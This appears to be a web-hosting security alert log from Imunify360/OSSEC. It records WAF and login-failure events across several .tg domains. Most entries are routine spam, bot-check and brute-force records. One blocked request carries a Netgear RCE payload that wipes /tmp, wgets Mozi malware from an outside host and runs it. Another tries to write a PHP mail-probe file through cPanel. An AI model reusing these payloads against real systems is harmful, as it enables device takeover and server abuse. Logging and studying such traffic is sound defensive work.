rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:84b6551336d3920aacb46c2cdce1fe908063a489||Title:0x7726f9dc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eef620c26f46e924062a9fedc3b467ad2296ec53||Title:0x32f30d3b||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d196791ac066effcdda43e1770c30e97a7aa0c2e||Title:0xaebf2a8d||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:40:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:40:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:034388f5ef68e4c97eb23d249a5ae354be98b0a7||Title:0x40b61f7d||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:42:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040664&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977338 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1c99dcea325e4e8ebd036058134660a56f3a8740||Title:0x94bd1a42||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:42:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195867&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977338 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:06bece2cbc832e4a588a903484a6ad9d4d7af849||Title:0xeb2e88d4||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38550bd89a676a29b1aeffbc50f0840b4bd7ecd1||Title:0x3e403c96||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:17:43:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117980&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977408 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:43:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13081291&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977412 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c64757b3ece17ac976b52ed5827ff53d00c019fb||Title:0x77897415||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d4cc11faafee456146c3f17a176b3bf49735ea5e||Title:0x725676a3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b5a478f75c7f65b5de45e700d437783946dd6ea5||Title:0xc55173fd||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0b429a9af73208c6f5682e15327ce959940940a4||Title:0x3aae75de||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0bcb6043ea8b1ae4dfe4f205b89fbcbda03fee73||Title:0xa38165ad||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e6cfb3b82e0f74bec095e88e74226bbef75d4fd1||Title:0x4b2199ae||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7207f8bc63de0cae9e1715f72d3dd2e18db4416d||Title:0xe501845d||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.31.66
country_id: 2017370
description:
2026-06-20 17:51:52 dovecot_plain authenticator failed for H=(nownin) [31.173.31.66]:34519: 535 Incorrect authentication data (set_id=no-reply@zephyr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:52:11 +0000] info [cpaneld] 102.54.238.57 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.142.134.253
country_id: 146669
description:
Jun 20 17:53:26 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.142.134.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.30.97
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/c1cd3b9d-a115-4015-b0a8-5a31801f9223.webp 960w, http:/togodailynews.tg/wp-content/uploads/2026/06/c1cd3b9d-a115-4015-b0a8-5a31801f9223-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/c1cd3b9d-a115-4015-b0a8-5a31801f9223-768x432.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.142.134.253
country_id: 146669
description:
Jun 20 17:53:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.142.134.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.83
country_id: 690791
description:
Jun 20 17:53:53 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.83 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.2.7
country_id: 6252001
domain: social-infos.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/social-infos.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:57:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:57:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:58:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121067&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978317 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:58:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212519&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978320 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.157.94.51
country_id: 1210997
description:
103.157.94.51 - - [20/Jun/2026:17:59:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249368&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcoris-bank-international-togo-octroie-20-milliards-fcfa-a-pia%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978340 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/coris-bank-international-togo-octroie-20-milliards-fcfa-a-pia/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.157.94.51


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:18:00:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027228&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978409 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:00:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932591&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781978409 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.16.191
country_id: 6251999
description:
[2026-06-20 18:01:32 +0000] info [cpaneld] 195.63.16.191 - ygeaivhj "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.214.49.46
country_id: 2245662
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/08/E9i8BFnXEAAIHTX.jpeg 360w, http:/togodailynews.tg/wp-content/uploads/2021/08/E9i8BFnXEAAIHTX-300x225.jpeg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.20
country_id: 3865483
description:
Jun 20 18:04:26 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.20 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.144
country_id: 6252001
description:
[2026-06-20 18:04:02 +0000] info [cpaneld] 181.215.65.144 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.20
country_id: 3865483
description:
Jun 20 18:04:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.20 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.200
country_id: 6252001
description:
[2026-06-20 18:04:47 +0000] info [cpaneld] 107.174.169.200 NEW cietg:NSzznCg4aVmlM_2k address=107.174.169.200,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.159.74.203
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37-1024x461.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37-300x135.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37-768x346.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-29-at-06.43.37.webp 1040w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.231.133.133
country_id: 3469034
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sia-togo.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:18:14:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197610&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781979294 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:14:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526311&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781979293 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:14:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933423&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781979294 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 18:17:04 +0000] info [cpaneld] 102.54.238.57 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.253.75.209
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-19.104.253.75.209||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-20 18:21:26 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-22.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.174.189.102
country_id: 6252001
description:
[2026-06-20 18:22:45 +0000] info [cpaneld] 54.174.189.102 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 202.70.139.33
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.19||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://202.70.139.33:56044/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:28:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645867&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980126 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:28:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120349&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980110 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 151.243.141.156
country_id: 6252001
domain: www.butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:hGD1gtIis@CsoaWv.www.butodra.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:31:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065558&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980261 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:18:31:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12896149&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781980264 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.139.137.11
country_id: 1512440
description:
2026-06-20 18:33:25 H=([185.139.137.11]) [185.139.137.11]:31715 F=<sergde@dgdn-togo.tg> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.9.106
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7b7b7f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.49.95
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1018226511 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.13.159
country_id: 3469034
domain: togodailynews.tg
description:
